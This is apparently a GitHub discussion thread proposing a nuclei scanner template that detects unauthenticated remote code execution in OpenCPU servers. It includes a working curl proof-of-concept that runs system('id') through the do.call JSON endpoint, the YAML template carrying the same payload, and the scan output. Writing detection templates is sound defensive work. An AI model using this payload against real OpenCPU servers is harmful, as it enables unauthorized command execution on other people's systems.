OpenCPU Template

[euro-phd]

Hi everybody,

Some time ago, I stumbled upon the OpenCPU server while examining the web application and found it vulnerable to unauthorized remote code execution out-of-the-box. I have no experience writing templates, but I wrote the draft to check for RCE. Is it possible to add this template to the nuclei-templates base, or it's too specific? Also, I'm open to discussions on how to improve this template.

reference: SHELLS - BROUGHT TO YOU BY THE LETTER 'R'

curl request to check for RCE:

user@host:~$ curl http://localhost:8004/ocpu/library/base/R/do.call/json -d "what=function(x){  return(system(paste('id'), intern %3d T))}&args={}"

["uid=33(www-data) gid=33(www-data) groups=33(www-data)"]

ocpu.yaml

info:
  name: OpenCPU RCE
  author: wa1tf0rme
  severity: high
  description: Checks for RCE in OpenCPU instance
  tags: rce

requests:
    - method: POST
      path:
         - "{{BaseURL}}/ocpu/library/base/R/do.call/json"
      redirects: true
      max-redirects: 3
      headers:
          Content-Length: 69
          Content-Type: application/x-www-form-urlencoded
          
      body: "what=function(x){  return(system(paste('id'), intern %3d T))}&args={}"
      matchers:
         - type: word
           words:
              - "uid"
              - "gid"
              - "groups"

nuclei output:

user@host:~$ ~/go/bin/nuclei -u http://127.0.0.1:8004/ -id ocpu-rce

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   2.7.9

		projectdiscovery.io

[WRN] Use with caution. You are responsible for your actions.
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[INF] Using Nuclei Engine 2.7.9 (latest)
[INF] Using Nuclei Templates 9.2.7 (latest)
[INF] Templates added in last update: 50
[INF] Templates loaded for scan: 1
[2022-11-12 23:39:45] [ocpu-rce] [http] [high] http://127.0.0.1:8004/ocpu/library/base/R/do.call/json

[ehsandeep]

@euro-phd thank you for sharing this, this is now added into template project with #6041